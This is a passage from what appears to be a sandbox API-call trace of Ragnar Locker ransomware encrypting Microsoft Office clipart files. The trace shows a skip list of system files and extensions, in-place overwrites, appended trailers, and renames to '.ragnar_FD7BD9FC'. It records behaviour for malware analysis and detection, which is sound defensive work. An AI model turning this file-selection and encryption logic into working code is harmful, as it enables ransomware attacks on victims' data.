returned 1 [0089.243] GetProcessHeap () returned 0x580000 [0089.243] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.243] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.244] VirtualAlloc (lpAddress=0x0, dwSize=0x88c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.245] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x88c, lpOverlapped=0x0) returned 1 [0089.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.245] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x88c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.245] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x88c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x88c, lpOverlapped=0x0) returned 1 [0089.245] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x88c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.245] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x88c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.245] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.245] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.245] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.246] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.246] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.246] GetProcessHeap () returned 0x580000 [0089.246] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.246] CloseHandle (hObject=0xf4) returned 1 [0089.246] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" [0089.246] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ragnar_FD7BD9FC" [0089.246] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.247] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0089.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.247] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02446_.WMF" | out: lpString1="NA02446_.WMF") returned="NA02446_.WMF" [0089.247] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF") returned=".WMF" [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="autorun.inf") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="boot.ini") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="bootfont.bin") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="bootsect.bak") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="bootmgr") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="bootmgr.efi") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="desktop.ini") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="iconcache.db") returned 1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="ntldr") returned -1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="ntuser.dat") returned -1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="ntuser.ini") returned -1 [0089.247] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="thumbs.db") returned -1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.247] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf")) returned 0x20 [0089.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.248] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2612) returned 1 [0089.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.248] GetProcessHeap () returned 0x580000 [0089.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.248] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.250] VirtualAlloc (lpAddress=0x0, dwSize=0xa34, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.250] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa34, lpOverlapped=0x0) returned 1 [0089.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.250] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa34, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.250] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa34, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa34, lpOverlapped=0x0) returned 1 [0089.250] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa34, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.250] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.250] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.251] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.251] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.251] GetProcessHeap () returned 0x580000 [0089.251] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.251] CloseHandle (hObject=0xf4) returned 1 [0089.251] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" [0089.251] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ragnar_FD7BD9FC" [0089.251] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.252] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0089.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.252] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02448_.WMF" | out: lpString1="NA02448_.WMF") returned="NA02448_.WMF" [0089.252] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF") returned=".WMF" [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="autorun.inf") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="boot.ini") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="bootfont.bin") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="bootsect.bak") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="bootmgr") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="bootmgr.efi") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="desktop.ini") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="iconcache.db") returned 1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="ntldr") returned -1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="ntuser.dat") returned -1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="ntuser.ini") returned -1 [0089.252] lstrcmpiW (lpString1="NA02448_.WMF", lpString2="thumbs.db") returned -1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.252] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf")) returned 0x20 [0089.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.254] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2208) returned 1 [0089.254] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x897, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.254] GetProcessHeap () returned 0x580000 [0089.254] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.254] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.255] VirtualAlloc (lpAddress=0x0, dwSize=0x8a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.255] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.256] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8a0, lpOverlapped=0x0) returned 1 [0089.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.256] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.256] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8a0, lpOverlapped=0x0) returned 1 [0089.256] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.256] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.256] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.256] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.256] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.256] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.257] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.257] GetProcessHeap () returned 0x580000 [0089.257] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.257] CloseHandle (hObject=0xf4) returned 1 [0089.257] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" [0089.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ragnar_FD7BD9FC" [0089.257] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.258] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0089.258] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.258] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02450_.WMF" | out: lpString1="NA02450_.WMF") returned="NA02450_.WMF" [0089.258] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF") returned=".WMF" [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="autorun.inf") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="boot.ini") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="bootfont.bin") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="bootsect.bak") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="bootmgr") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="bootmgr.efi") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="desktop.ini") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="iconcache.db") returned 1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="ntldr") returned -1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="ntuser.dat") returned -1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="ntuser.ini") returned -1 [0089.258] lstrcmpiW (lpString1="NA02450_.WMF", lpString2="thumbs.db") returned -1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.258] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf")) returned 0x20 [0089.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.259] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3112) returned 1 [0089.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.259] GetProcessHeap () returned 0x580000 [0089.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.259] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.263] VirtualAlloc (lpAddress=0x0, dwSize=0xc28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.263] ReadFile (in: hFile=0xf4, 